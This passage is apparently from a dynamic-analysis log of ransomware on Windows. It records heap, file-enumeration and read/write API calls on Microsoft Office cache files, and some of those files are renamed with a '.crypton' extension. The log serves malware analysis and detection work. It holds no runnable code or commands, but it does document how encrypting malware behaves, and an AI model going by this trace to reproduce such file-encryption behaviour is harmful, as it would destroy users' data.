Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.crypton"), dwFlags=0x2) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556dc8 | out: hHeap=0x510000) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.124] AreFileApisANSI () returned 1 [0069.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0069.124] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa2) returned 0x536b88 [0069.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 81 [0069.124] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.124] GetLastError () returned 0x2 [0069.124] AreFileApisANSI () returned 1 [0069.124] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0069.124] GetLastError () returned 0x2 [0069.125] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.125] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.125] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.125] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.125] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.125] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.125] AreFileApisANSI () returned 1 [0069.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.125] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.125] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.126] GetFileType (hFile=0x190) returned 0x1 [0069.126] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.126] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4abb08 | out: lpNewFilePointer=0x0) returned 1 [0069.126] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ababc | out: lpNewFilePointer=0x0) returned 1 [0069.126] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0069.126] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.126] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0069.126] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55ee28 [0069.127] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x648, lpOverlapped=0x0) returned 1 [0069.128] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.128] GetLastError () returned 0x0 [0069.129] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.129] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x640, lpOverlapped=0x0) returned 1 [0069.129] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.129] GetLastError () returned 0x0 [0069.129] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.129] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x638, lpOverlapped=0x0) returned 1 [0069.129] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.129] GetLastError () returned 0x0 [0069.129] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.130] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x630, lpOverlapped=0x0) returned 1 [0069.130] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.130] GetLastError () returned 0x0 [0069.130] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.130] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x628, lpOverlapped=0x0) returned 1 [0069.130] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.130] GetLastError () returned 0x0 [0069.130] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.130] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x620, lpOverlapped=0x0) returned 1 [0069.131] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.131] GetLastError () returned 0x0 [0069.131] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.131] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x618, lpOverlapped=0x0) returned 1 [0069.131] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.131] GetLastError () returned 0x0 [0069.131] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.131] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x610, lpOverlapped=0x0) returned 1 [0069.131] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.131] GetLastError () returned 0x0 [0069.131] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.132] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x608, lpOverlapped=0x0) returned 1 [0069.132] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.132] GetLastError () returned 0x0 [0069.132] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.132] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x600, lpOverlapped=0x0) returned 1 [0069.132] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.132] GetLastError () returned 0x0 [0069.132] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.132] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5f8, lpOverlapped=0x0) returned 1 [0069.132] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.133] GetLastError () returned 0x0 [0069.133] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.133] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5f0, lpOverlapped=0x0) returned 1 [0069.133] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.133] GetLastError () returned 0x0 [0069.133] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.133] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e8, lpOverlapped=0x0) returned 1 [0069.133] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.133] GetLastError () returned 0x0 [0069.133] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.134] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e0, lpOverlapped=0x0) returned 1 [0069.134] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.134] GetLastError () returned 0x0 [0069.134] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.134] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d8, lpOverlapped=0x0) returned 1 [0069.134] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.134] GetLastError () returned 0x0 [0069.134] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.134] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d0, lpOverlapped=0x0) returned 1 [0069.135] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.135] GetLastError () returned 0x0 [0069.135] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.135] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5c8, lpOverlapped=0x0) returned 1 [0069.135] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.135] GetLastError () returned 0x0 [0069.135] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.135] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5c0, lpOverlapped=0x0) returned 1 [0069.135] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.135] GetLastError () returned 0x0 [0069.135] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.136] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5b8, lpOverlapped=0x0) returned 1 [0069.136] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.136] GetLastError () returned 0x0 [0069.136] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.136] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5b0, lpOverlapped=0x0) returned 1 [0069.136] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.136] GetLastError () returned 0x0 [0069.136] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.136] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a8, lpOverlapped=0x0) returned 1 [0069.137] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.137] GetLastError () returned 0x0 [0069.137] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.137] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a0, lpOverlapped=0x0) returned 1 [0069.137] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.137] GetLastError () returned 0x0 [0069.137] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.137] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x598, lpOverlapped=0x0) returned 1 [0069.137] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.137] GetLastError () returned 0x0 [0069.137] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.138] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x590, lpOverlapped=0x0) returned 1 [0069.138] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.138] GetLastError () returned 0x0 [0069.138] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.138] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x588, lpOverlapped=0x0) returned 1 [0069.138] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.138] GetLastError () returned 0x0 [0069.138] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.138] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x580, lpOverlapped=0x0) returned 1 [0069.139] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.139] GetLastError () returned 0x0 [0069.139] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.139] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x578, lpOverlapped=0x0) returned 1 [0069.139] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.139] GetLastError () returned 0x0 [0069.139] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.139] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x570, lpOverlapped=0x0) returned 1 [0069.139] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.139] GetLastError () returned 0x0 [0069.139] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.140] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x568, lpOverlapped=0x0) returned 1 [0069.140] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.140] GetLastError () returned 0x0 [0069.140] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.140] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x560, lpOverlapped=0x0) returned 1 [0069.140] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.140] GetLastError () returned 0x0 [0069.140] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.140] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x558, lpOverlapped=0x0) returned 1 [0069.140] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.141] GetLastError () returned 0x0 [0069.141] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.141] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x550, lpOverlapped=0x0) returned 1 [0069.141] SetFilePointerEx (in: 